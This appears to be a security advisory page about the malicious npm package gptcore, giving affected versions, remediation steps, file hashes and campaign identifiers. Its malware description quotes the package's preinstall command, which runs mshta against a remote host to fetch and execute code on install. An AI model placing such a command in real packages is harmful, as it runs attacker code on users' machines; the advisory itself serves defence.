Which versions of gptcore are malicious?

The following npm versions of gptcore are flagged malicious: 4.0.6, 4.0.7, 4.0.8. Treat any of these as compromised.

How do I remediate gptcore if I installed it?

Remove gptcore from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed gptcore — how do I know if it already compromised me?

If gptcore was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is gptcore part of a known attack campaign?

Yes — gptcore is associated with the IN-MAL-2026-009755, IN-MAL-2026-009756, IN-MAL-2026-009754 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find gptcore across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for gptcore (3 malicious versions).

Malicious package

gptcorenpm

Advisory published Jul 12, 2026Updated Jul 12, 2026

gptcore is a confirmed malicious npm package (MAL-2026-10204) that executes malicious code on install (malicious versions 4.0.6, 4.0.7, 4.0.8). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in gptcore (npm)

MAL-2026-10204

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall gptcore

What this malware does

[email protected] declares a preinstall lifecycle script that runs exec('cmd /c "mshta http://fixars.top"') in preinstall.js. On Windows, this fires automatically during npm install and launches mshta.exe against the remote URL http://fixars.top, causing whatever HTA/JScript content that host currently serves to execute on the installer's machine. The destination is a hardcoded third-party host over plain HTTP, with no pinning, hash verification, or relationship to a legitimate publisher, and the fetched content is unrelated to any documented package purpose.

Malicious versions

3 flagged

4.0.64.0.74.0.8

Indicators of compromise (SHA-256)

5a9090400e6b3b665a6b9c2fbb92d6affedfabc6fcc4352aa83ae05a5a339036

c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895

eb1d038afd41c44c18854fdb31cdee216cb85c80e76ad73c43a2f916f0ba4d9c

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for gptcore (3 malicious versions).
If you installed it — respond
Remove gptcore from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If gptcore was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. gptcore on npm has been identified as a malicious package (versions 4.0.6, 4.0.7, 4.0.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-009755IN-MAL-2026-009756IN-MAL-2026-009754

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks gptcore-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database